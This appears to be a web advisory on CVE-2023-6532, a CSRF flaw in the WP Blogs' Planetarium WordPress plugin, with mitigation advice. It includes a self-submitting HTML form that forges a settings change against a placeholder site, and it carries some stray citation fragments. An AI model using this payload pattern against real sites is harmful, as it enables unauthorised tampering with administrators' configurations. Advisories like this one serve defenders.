Vulnerability Summary
- CVE ID: CVE-2023-6532
- Severity: High (CVSS 3.1 Score: 8.8)
- Attack Vector: Network
- Privileges Required: None
- User Interaction: Required
- Impact: Potential unauthorized changes to plugin settings via CSRF attack
Affected Products
| Product | Affected Versions |
|---|---|
| WP Blogs’ Planetarium WordPress Plugin | Versions ≤ 1.0 |
How the Exploit Works
The WP Blogs’ Planetarium plugin lacks proper Cross-Site Request Forgery (CSRF) checks when updating its settings. An attacker can exploit this vulnerability by tricking a logged-in administrator into clicking a malicious link or visiting a crafted webpage. This action could result in unauthorized changes to the plugin’s settings without the administrator’s knowledge or consent.NVD+2Rainforest Technologies+2GitHub+2
Conceptual Example Code
No phone number, email, or personal info required.
An attacker might craft a malicious HTML page as follows:
htmlCopyEdit<html>
<body onload="document.forms[0].submit()">
<form action="https://victim-site.com/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="update_planetarium_settings">
<input type="hidden" name="setting1" value="malicious_value">
<!-- Additional hidden fields as required -->
</form>
</body>
</html>
When the administrator visits this page while logged in, the form auto-submits, sending a POST request to the vulnerable plugin endpoint, thereby altering its settings.
Potential Risks
- Unauthorized modification of plugin settings
- Potential exposure of sensitive information
- Disruption of website functionalityRainforest Technologies+1NVD+1
- Foundation for further attacks exploiting altered configurationsRainforest Technologies
Mitigation Recommendations
- Update the Plugin: If an updated version is available, apply the patch that addresses this vulnerability.
- Implement CSRF Protection: Ensure that all form submissions include nonces or tokens to validate legitimate requests.
- Educate Administrators: Advise administrators to avoid clicking on suspicious links or visiting untrusted websites while logged into the WordPress admin panel.
- Use Security Plugins: Employ WordPress security plugins that offer CSRF protection and monitor for suspicious activities.Rainforest Technologies
Conclusion
CVE-2023-6532 highlights the importance of implementing proper CSRF protections in web applications. The vulnerability in the WP Blogs’ Planetarium plugin allows attackers to manipulate plugin settings through crafted requests, posing significant risks to website integrity. Administrators should promptly apply available patches and adhere to best security practices to mitigate such threats.Rainforest Technologies+2GitHub+2NVD+2
References